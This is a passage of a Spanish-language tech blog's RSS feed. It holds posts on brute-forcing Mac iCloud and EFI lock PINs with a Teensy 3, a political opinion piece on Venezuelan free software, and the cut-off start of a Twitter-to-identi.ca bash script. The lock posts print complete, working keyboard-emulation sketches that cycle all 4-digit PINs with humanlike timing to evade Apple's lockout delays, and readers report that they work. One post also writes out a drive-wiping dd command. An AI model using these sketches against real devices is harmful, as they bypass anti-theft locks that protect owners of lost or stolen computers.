		<guid isPermaLink="false">http://orvtech.com/?p=6742</guid>
		<description><![CDATA[Luego de modificar el script para crakear el PIN del EFI y con ayuda de la comunidad, conseguimos la forma de atacar el PIN del iCloud sin necesidad de formatear o reemplazar el disco duro.<p><a href="http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/">Ataque de fuerza bruta contra el bloqueo por PIN de iCloud a una Mac</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Recientemente escribí sobre como llevar a cabo un <a href="http://orvtech.com/howto/atacar-efi-pin-macbook-pro/" title="Automatizar ataque al bloqueo por PIN del EFI de una MacBook Pro" hreflang="es">ataque de fuerza bruta contra el bloqueo del EFI de una Mac</a> y aunque al principio no logre lo que quería fue solo cuestión de horas para que alguien revisara mi código y se diera cuenta del bug que lo afectaba. Hoy en día el código funcional al 100% y ya se han desbloqueado varias Mac usando este procedimiento.</p>
<p>Cuando una computadora Apple es bloqueada remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El articulo que comentaba anterior mente se enfoca en el bloqueo del EFI mientras que este se enfocara en el del OS también conocido como PIN de iCloud. </p>
<p><div id="attachment_6747" class="wp-caption aligncenter" style="width: 605px"><a href="http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/"><img src="http://orvtech.info/2013/03/efi-vs-icloud-lock.jpg" alt="A la Izquierda se puede ver la pantalla de iCloud y a la derecha la del EFI." width="595" height="213" class="size-full wp-image-6747" /></a><p class="wp-caption-text">A la Izquierda se puede ver la pantalla de iCloud y a la derecha la del EFI.</p></div><br />
Tras un poco de ensayo y error y con ayuda de la comunidad de MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:<br />
<code>#include &lt;usb_keyboard.h&gt;<br />
// This code is licensed under Apache 2.0 License<br />
// http://www.apache.org/licenses/LICENSE-2.0.txt<br />
// Limitation of Liability. In no event and under no legal theory,<br />
// whether in tort (including negligence), contract, or otherwise,<br />
// unless required by applicable law (such as deliberate and grossly<br />
// negligent acts) or agreed to in writing, shall any Contributor be<br />
// liable to You for damages, including any direct, indirect, special,<br />
// incidental, or consequential damages of any character arising as a<br />
// result of this License or out of the use or inability to use the<br />
// Work (including but not limited to damages for loss of goodwill,<br />
// work stoppage, computer failure or malfunction, or any and all<br />
// other commercial damages or losses), even if such Contributor<br />
// has been advised of the possibility of such damages.<br />
// This code is indented for people who are not able to contact<br />
// apple support and I am in no way liable for any damage or<br />
// problems this code might cause.<br />
const int ledPin = 13;<br />
int counter = 0;<br />
//waits for iCould<br />
int firstloop = 0;<br />
int secondloop = 0;<br />
int thirdloop = 0;<br />
boolean firstcompleted = false;<br />
boolean secondcompleted = false;<br />
int fakecounter = counter;<br />
char pin[]="xxxx";<br />
void setup() {<br />
  pinMode(ledPin, OUTPUT);<br />
  delay(10000);<br />
  digitalWrite(ledPin, LOW);<br />
}<br />
void loop(){<br />
  keyboard_modifier_keys = 0;<br />
//lets wait 1minute and 1 second<br />
  if (firstloop &gt;= 5){<br />
    delay(61000);<br />
    firstcompleted = true;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
  else if ((firstloop &lt; 5) &#038;&#038; (firstcompleted == false)){<br />
    digitalWrite(ledPin, HIGH);<br />
    ++firstloop;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
//lets wait 5 minutes and one second<br />
  if ((secondloop &gt;= 1) &#038;&#038; (secondcompleted == false) &#038;&#038; (firstcompleted == true)){<br />
    delay(301000);<br />
    secondloop = 0;<br />
    secondcompleted = true;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
  else if ((secondloop &lt; 1) &#038;&#038; (secondcompleted == false) &#038;&#038; (firstcompleted == true)){<br />
    ++secondloop;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
//lets wait 15 minutes and 1 second<br />
  if ((thirdloop &gt;= 1) &#038;&#038; (secondcompleted == true)){<br />
    delay(901000);<br />
    thirdloop = 0;<br />
    secondcompleted = false;<br />
    firstcompleted = false;<br />
    firstloop = 0;<br />
    secondloop = 0;<br />
    thirdloop = 0;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
  else if ((thirdloop &lt; 1) &#038;&#038; (secondcompleted == true)){<br />
    ++thirdloop;<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
//lets get to work<br />
  if (counter &lt;= 9999){<br />
    delay(100503);<br />
    digitalWrite(ledPin, LOW);<br />
    delay(7049);<br />
    digitalWrite(ledPin, HIGH);<br />
    sprintf(pin, "%04d", fakecounter);<br />
    Keyboard.press(pin[0]);<br />
    delay(450);<br />
    Keyboard.release(pin[0]);<br />
    delay(420);<br />
    Keyboard.press(pin[1]);<br />
    delay(398);<br />
    Keyboard.release(pin[1]);<br />
    delay(510);<br />
    Keyboard.press(pin[2]);<br />
    delay(421);<br />
    Keyboard.release(pin[2]);<br />
    delay(423);<br />
    Keyboard.press(pin[3]);<br />
    delay(430);<br />
    Keyboard.release(pin[3]);<br />
    delay(525);<br />
    Keyboard.press(KEY_ENTER);<br />
    delay(405);<br />
    Keyboard.release(KEY_ENTER);<br />
    digitalWrite(ledPin, LOW);<br />
  }<br />
  //reached 4 digit PIN max value<br />
  if (counter &gt; 9999){<br />
    for (int blinkies = 0; blinkies &lt; 8; blinkies++) {<br />
      digitalWrite(ledPin, HIGH);<br />
      delay(20);<br />
      digitalWrite(ledPin, LOW);<br />
      delay(200);<br />
    }<br />
    delay(6000);<br />
  }<br />
  ++counter;<br />
  fakecounter = counter;<br />
}</code></p>
<p>Un miembro de la comunidad de MacRumors hizo una versión mas simple y elegante de este que lo pueden ver aquí: <a href="http://forums.macrumors.com/showpost.php?p=16988349&#038;postcount=257" rel="nofollow external" hreflang="en">How to: Unlock System Lock PIN Code</a>.</p>
<p>Supongo que con un botón y poca modificación del código se podrían tener las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin necesidad de programarlo. </p>
<p><a href="http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/">Ataque de fuerza bruta contra el bloqueo por PIN de iCloud a una Mac</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro</title>
		<link>http://orvtech.com/howto/atacar-efi-pin-macbook-pro/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=atacar-efi-pin-macbook-pro</link>
		<comments>http://orvtech.com/howto/atacar-efi-pin-macbook-pro/#comments</comments>
		<pubDate>Sat, 23 Feb 2013 11:33:00 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Embebido]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[Proyecto Fedora]]></category>
		<category><![CDATA[Teensy]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6632</guid>
		<description><![CDATA[Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.<p><a href="http://orvtech.com/howto/atacar-efi-pin-macbook-pro/">Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p><strong>Actualizado:</strong> El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has <a href="#UPDATE">click aquí</a>.</p>
<p>&nbsp;</p>
<p>Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.</p>
<h3>Un poco de historia en este caso.</h3>
<p>Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía &#8220;devuelveme la laptop y te devuelvo el dinero&#8221;, justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.<br />
Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:</p>
<div style="text-aling:center;"><a href="http://orvtech.com/howto/atacar-efi-pin-macbook-pro/" hreflang="es"><img src="http://orvtech.info/2013/02/icloud-pin-lock.jpg" alt="Foto de la pantalla bloqueada por el PIN de OSX" width="614" height="400" /></a></div>
<p>&nbsp;</p>
<h3>Manos a la obra.</h3>
<p>Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice <code>`dd if=/dev/random of=/dev/sdd`</code> como por unos 30 minutos, detuve el proceso y volví a armar la MBP.<br />
Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.</p>
<p>En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?</p>
<p>&nbsp;</p>
<h3>Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.</h3>
<p>Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.<br />
Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y  mi pronta realización de que necesitaría un hardware especializado para esto.</p>
<p>La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python. </p>
<p>Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.<br />
El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción. </p>
<p>Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.</p>
<p>&nbsp;</p>
<h3>El código y el ataque</h3>
<p>Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final.<br />
Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el &#8220;enter&#8221;.<br />
Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:<br />
<code>#include &lt;usb_keyboard .h&gt;<br />
// This code is licensed under Apache 2.0 License<br />
// http://www.apache.org/licenses/LICENSE-2.0.txt<br />
// Limitation of Liability. In no event and under no legal theory,<br />
// whether in tort (including negligence), contract, or otherwise,<br />
// unless required by applicable law (such as deliberate and grossly<br />
// negligent acts) or agreed to in writing, shall any Contributor be<br />
// liable to You for damages, including any direct, indirect, special,<br />
// incidental, or consequential damages of any character arising as a<br />
// result of this License or out of the use or inability to use the<br />
// Work (including but not limited to damages for loss of goodwill,<br />
// work stoppage, computer failure or malfunction, or any and all<br />
// other commercial damages or losses), even if such Contributor<br />
// has been advised of the possibility of such damages.<br />
// This code is indented for people who are not able to contact<br />
// apple support and I am in no way liable for any damage or<br />
// problems this code might cause.<br />
const int ledPin = 13;<br />
int counter = 0;<br />
int fakecounter = counter;<br />
char pin[]="xxxx";<br />
void setup() {<br />
  pinMode(ledPin, OUTPUT);<br />
  delay(10000);<br />
}<br />
void loop(){<br />
keyboard_modifier_keys = 0;<br />
  if (counter &lt; = 9999){<br />
    delay(8000);<br />
    digitalWrite(ledPin, LOW);<br />
    delay(5500);<br />
    digitalWrite(ledPin, HIGH);<br />
    sprintf(pin, "%04d", fakecounter);<br />
    Keyboard.press(pin[1]);<br />
    delay(450);<br />
    Keyboard.release(pin[1]);<br />
    delay(420);<br />
    Keyboard.press(pin[1]);<br />
    delay(398);<br />
    Keyboard.release(pin[1]);<br />
    delay(510);<br />
    Keyboard.press(pin[2]);<br />
    delay(421);<br />
    Keyboard.release(pin[2]);<br />
    delay(423);<br />
    Keyboard.press(pin[3]);<br />
    delay(430);<br />
    Keyboard.release(pin[3]);<br />
    delay(525);<br />
    Keyboard.press(KEY_ENTER);<br />
    delay(305);<br />
    Keyboard.release(KEY_ENTER);<br />
  }<br />
//reached 4 digit PIN max value<br />
  if (counter &gt; 9999){<br />
    for (int blinkies = 0; blinkies &lt; 8; blinkies++) {<br />
      digitalWrite(ledPin, HIGH);<br />
      delay(20);<br />
      digitalWrite(ledPin, LOW);<br />
      delay(200);<br />
    }<br />
    delay(6000);<br />
  }<br />
  ++counter;<br />
  fakecounter = counter;<br />
}</code></p>
<p>Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito.<br />
Luego de unos minutos de prueba note que la <abbr title="MacBook Pro">MBP</abbr> había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.</p>
<p>Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora.  Este es el script:<br />
<code>while true<br />
do<br />
clear<br />
echo<br />
date<br />
start=`date +%s -d "Wed Jan 16 17:46:00"`<br />
current=`date +%s`;<br />
echo "Current PIN Between: " | tr '\n' ' '<br />
echo "($current - $start) / 19.782" | bc | tr '\n' ' '<br />
echo " and " | tr '\n' ' '<br />
echo "($current - $start) / 18.782" | bc<br />
sleep 2<br />
done</code></p>
<p>Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.</p>
<div style="text-align:center;"><a href="http://orvtech.info/2013/02/script-current-running.jpg"><img src="http://orvtech.info/2013/02/script-current-running.jpg" alt="Foto del shell script que da un estimado de que rango de números se están usando para el ataque" width="614" height="404" /></a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<h3>Buenas noticias, Malas noticias.</h3>
<p>Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.<br />
En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.</p>
<p>Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos. Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción. </p>
<p>El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.</p>
<p>Aquí les dejo un vídeo del ataque:<br />
<iframe width="614" height="461" src="http://www.youtube.com/embed/xXMiX-Bybsw" frameborder="0" allowfullscreen></iframe></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Alternativas un poco mas extremas.</h3>
<p>En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema. </p>
<p>Pueden revisar los temas referentes a EFI en su blog via <a href="http://ho.ax/tag/efi/" title="Snare's blog" target="_blank" rel="nofollow">ho.ax</a> y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo <a href="http://ho.ax/posts/2012/10/ruxcon/" title="RUXCon presentation by Snare" target="_blank"  rel="nofollow">http://ho.ax/posts/2012/10/ruxcon/</a>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3><a id="UPDATE">UPDATE: Un bug en el código</a></h3>
<p>Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).</p>
<p>En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:<br />
<code>#include &lt;usb_keyboard.h&gt;<br />
// This code is licensed under Apache 2.0 License<br />
// http://www.apache.org/licenses/LICENSE-2.0.txt<br />
// Limitation of Liability. In no event and under no legal theory,<br />
// whether in tort (including negligence), contract, or otherwise,<br />
// unless required by applicable law (such as deliberate and grossly<br />
// negligent acts) or agreed to in writing, shall any Contributor be<br />
// liable to You for damages, including any direct, indirect, special,<br />
// incidental, or consequential damages of any character arising as a<br />
// result of this License or out of the use or inability to use the<br />
// Work (including but not limited to damages for loss of goodwill,<br />
// work stoppage, computer failure or malfunction, or any and all<br />
// other commercial damages or losses), even if such Contributor<br />
// has been advised of the possibility of such damages.<br />
// This code is indented for people who are not able to contact<br />
// apple support and I am in no way liable for any damage or<br />
// problems this code might cause.<br />
const int ledPin = 13; // choose the pin for the LED<br />
int counter = 0;<br />
int fakecounter = counter;<br />
char pin[]="xxxx";<br />
void setup() {<br />
  pinMode(ledPin, OUTPUT); // declare LED as output<br />
  delay(10000);<br />
}<br />
void loop(){<br />
keyboard_modifier_keys = 0;<br />
  if (counter &lt;= 9999){<br />
    delay(8000);<br />
    digitalWrite(ledPin, LOW);<br />
    delay(5500);<br />
    digitalWrite(ledPin, HIGH);<br />
    sprintf(pin, "%04d", fakecounter);<br />
//sending first digit<br />
    Keyboard.press(pin[0]);<br />
    delay(450);<br />
    Keyboard.release(pin[0]);<br />
    delay(420);<br />
//sending second digit<br />
    Keyboard.press(pin[1]);<br />
    delay(398);<br />
    Keyboard.release(pin[1]);<br />
    delay(510);<br />
//sending third digit<br />
    Keyboard.press(pin[2]);<br />
    delay(421);<br />
    Keyboard.release(pin[2]);<br />
    delay(423);<br />
//sending forth digit<br />
    Keyboard.press(pin[3]);<br />
    delay(430);<br />
    Keyboard.release(pin[3]);<br />
    delay(525);<br />
//sending enter<br />
    Keyboard.press(KEY_ENTER);<br />
    delay(305);<br />
    Keyboard.release(KEY_ENTER);<br />
  }<br />
//reached 4 digit PIN max value<br />
  if (counter &gt; 9999){<br />
    for (int blinkies = 0; blinkies &lt; 8; blinkies++) {<br />
      digitalWrite(ledPin, HIGH);<br />
      delay(20);<br />
      digitalWrite(ledPin, LOW);<br />
      delay(200);<br />
    }<br />
    delay(6000);<br />
  }<br />
  ++counter;<br />
  fakecounter = counter;<br />
}</code></p>
<p>Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.</p>
<p>&nbsp;</p>
<p><strong>- Martes 12 de Marzo:</strong> Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en <a href="http://forums.macrumors.com/showpost.php?p=16981928&#038;postcount=248" title="MacRumors Confirma que se puede hackear el EFI de una Mac" rel="nofollow external" hreflang="en">este post de MacRumors: http://forums.macrumors.com/showpost.php?p=16981928&#038;postcount=248</a><br />
<div id="attachment_6756" class="wp-caption aligncenter" style="width: 605px"><a href="http://forums.macrumors.com/showpost.php?p=16981928&amp;postcount=248" rel="nofollow external" hreflang="en"><img src="http://orvtech.info/2013/02/macrumors-screenshot.gif" alt="Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto." width="595" height="374" class="size-full wp-image-6756" /></a><p class="wp-caption-text">Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto.</p></div></p>
<p><a href="http://orvtech.com/howto/atacar-efi-pin-macbook-pro/">Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/howto/atacar-efi-pin-macbook-pro/feed/</wfw:commentRss>
		<slash:comments>86</slash:comments>
		</item>
		<item>
		<title>Ignorancia y Fobia en la Comisión de Ciencia y Tecnología de la Asamblea Nacional</title>
		<link>http://orvtech.com/general/ignorancia-fobia-comision-ciencia-tecnologia-asamblea/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ignorancia-fobia-comision-ciencia-tecnologia-asamblea</link>
		<comments>http://orvtech.com/general/ignorancia-fobia-comision-ciencia-tecnologia-asamblea/#comments</comments>
		<pubDate>Sun, 27 Jan 2013 09:13:05 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Política]]></category>
		<category><![CDATA[Venezuela]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6645</guid>
		<description><![CDATA[Las recientes declaraciones del diputado Leomagno Flores en la sesión ordinaria de la Asamblea Nacional el 22 de enero del 2013 no son mas que una muestra de una profunda ignorancia combinada con una fobia a todo lo que tiene afinidad al gobierno de turno o es avalado por este. <p><a href="http://orvtech.com/general/ignorancia-fobia-comision-ciencia-tecnologia-asamblea/">Ignorancia y Fobia en la Comisión de Ciencia y Tecnología de la Asamblea Nacional</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Las recientes declaraciones del diputado Leomagno Flores en la sesión ordinaria de la Asamblea Nacional el 22 de enero del 2013 no son mas que una muestra de una profunda ignorancia combinada con una fobia a todo lo que tiene afinidad al gobierno de turno o es avalado por este. Las entre lo que afirma el diputado esta esta joya: <q>&#8230; El Software Libre es la dictadura de un sistema informático, violando el principio básico de la neutralidad tecnológica &#8230;&#8221;</q></p>
<p>&nbsp;</p>
<h3>Lo que siembres, cosecharás.</h3>
<p>La consecuencia de que ciertos sectores y grupos usen el Software Libre como bandera y lo hayan politizado hasta mas no poder como que si Hugo Chavez Frias (actual presidente de Venezuela) hubiese sido contribuidor core del Kernel o de la GPL se cosecharan en los próximo años y no precisamente para bien de la comunidad del Software Libre.</p>
<p>&nbsp;</p>
<div style="text-align:center;"><a href="http://orvtech.com"><img src="http://orvtech.info/2013/01/Leomagno_Flores_head.jpg" alt="El Software Libre es una Dictadura declaro Leomagno Flores en la Asamblea Nacional en una muestra de profunda ignorancia combinada con una fobia a todo lo relacionado al gobierno de turno" width="614" height="135" /></a></div>
<h3>La ignorancia es la madre de todos los males.</h3>
<p>Lo irónico de todo esto es que el 99% de las empresas de Estados Unidos donde probablemente el Sr. Leomagno Flores tenga planificado su retiro corren sobre Software Libre, de hecho, empresas como Facebook, Twitter y Google corre sobre software libre además de Wall Street (la bolsa de valores de Nueva York). De hecho, la única empresa que no ha tenido perdidas en los últimos diez años incluso bajo la resección económica hace un par de años fue Red Hat.</p>
<p>A pesar de que mi preferencia hubiese sido por una XOXO de OLPC, no se puede negar que el proyecto de las canaimitas han tenido un impacto positivo en la comunidad y de que cosecharemos sus resultados tan pronto estos niños entren al mercado laboral. Quien quita que de una Canaimita salga el próximo Mark Zuckerberg o un emprendedor de con otros fines. Algo que desconoce el diputado Leomagno Flores es que sin el Software Libre no hubiese sido posible ni el proyecto de la OLPC ni el de las canaimitas.<br />
Aquí les dejo el audio de su intervención en la Asamblea Nacional:</p>
<div style="text-align:center;" title="Leomagno Flores">
<audio controls height="100" width="610" preload="auto"><br />
  <source src="http://orvtech.info/audio/Leomagno_Flores.mp3" type="audio/mpeg"/><br />
  <source src="http://orvtech.info/audio/Leomagno_Flores.ogg" type="audio/ogg"/><br />
  <embed src="http://orvtech.info/audio/Leomagno_Flores.mp3" height="50" width="610"/><br />
</audio>
</div>
<p>&nbsp;</p>
<h3>Respuesta de la comunidad venezolana de Software Libre.</h3>
<p>Desde mi punto de vista, el comunicado que propone parte de la comunidad de Software Libre Venezolana (Canaima GNU) no corrige la raíz del problema, la falta de educación en el tema. Hay que educar a los políticos de Venezuela (sea del bando que sean) sobre el <abbr title="Software Libre">S.L.</abbr> y tecnología en general. No se nos olvide que no hace mucho el diputado venezolano Israel Sotillo también en la Asamblea Nacional <q>&#8230;No solo existe Internet, también existe Mozilla (&#8230;) y otros como Superlan&#8230;</q> cuando propuso aplicar la ley resorte a los medios digitales como lo pueden escuchar aquí:</p>
<div style="text-align:center;" title="Israel Sotillo">
<audio controls height="100" width="610" preload="auto"><br />
  <source src="http://orvtech.info/audio/Israel_Sotillo.mp3" type="audio/mpeg"/><br />
  <source src="http://orvtech.info/audio/Israel_Sotillo.ogg" type="audio/ogg"/><br />
  <embed src="http://orvtech.info/audio/Israel_Sotillo.mp3" height="50" width="610"/><br />
</audio>
</div>
<p>&nbsp;</p>
<p>El segundo punto que se debe tratar es el prevenir que grupos extremistas sigan usando el Software Libre como bandera política mientras que excluyen y atacan a quienes no piensan como ellos. Recordemos que son estos mismos los que inician o prologan discusiones en listas de correo conviertiendolas en lo que mucho las denominan en &#8220;novelas&#8221;.</p>
<p>Pueden leer el comunicado en: <a href="http://wiki.canaima.softwarelibre.gob.ve/wiki/Comunicado_Leomagno_Flores_AN" rel="nofollow external" title="Comunicado de Canaima GNU en rechazo a la intervención del Diputado Leomagno Flores en la Sesión Ordinaria de la Asamblea Nacional">Comunicado en rechazo a la intervención del Diputado Leomagno Flores en la Sesión Ordinaria de la Asamblea Nacional el 22/01/13</a>.</p>
<p>&nbsp;</p>
<p><a href="http://orvtech.com/general/ignorancia-fobia-comision-ciencia-tecnologia-asamblea/">Ignorancia y Fobia en la Comisión de Ciencia y Tecnología de la Asamblea Nacional</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/general/ignorancia-fobia-comision-ciencia-tecnologia-asamblea/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://orvtech.info/audio/Leomagno_Flores.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://orvtech.info/audio/Leomagno_Flores.ogg" length="0" type="audio/ogg" />
<enclosure url="http://orvtech.info/audio/Israel_Sotillo.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://orvtech.info/audio/Israel_Sotillo.ogg" length="0" type="audio/ogg" />
		</item>
		<item>
		<title>Desde Twitter a Identi.ca</title>
		<link>http://orvtech.com/howto/desde-twitter-identica/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=desde-twitter-identica</link>
		<comments>http://orvtech.com/howto/desde-twitter-identica/#comments</comments>
		<pubDate>Thu, 27 Dec 2012 06:35:02 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[BASH]]></category>
		<category><![CDATA[identi.ca]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6605</guid>
		<description><![CDATA[Un script hecho en BASH que mantiene tu cuenta de identi.ca actualizada desde Twitter.<p><a href="http://orvtech.com/howto/desde-twitter-identica/">Desde Twitter a Identi.ca</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Recientemente publique como sincronizar tu estado de identi.ca con tus actualizaciones de estado en Twitter pero al parecer esta funcionalidad dejo de funcionar al cabo de un par de semanas luego de publicar el articulo. La solución a este problema este script y cron, al menos por ahora.</p>
<p>El script le pide al API de Twitter tu ultima actualización de estado  y registra tanto el ID de esa actualización como el contenido del mensaje de la actualización como tal en un archivo, luego revisa si ya se actualizo y en base a esta comparación decide si actualiza o no tu estado en identi.ca.<br />
Veamos el script:</p>
<p><code>#!/bin/bash<br />
TWHANDLE="&lt;TWITTER_HANDLE_HERE&gt;"<br />
USER="&lt;IDENTI.CA-USER-HERE&gt;"<br />
PASSWORD="&lt;LONG-ASS-SECURE-RANDOM-PASSWORD-HERE&gt;"<br />
#<br />
function update_identica {<br />
   mv  ~/.twitter_to_identi.ca.tmp ~/.twitter_to_identi.ca.txt<br />
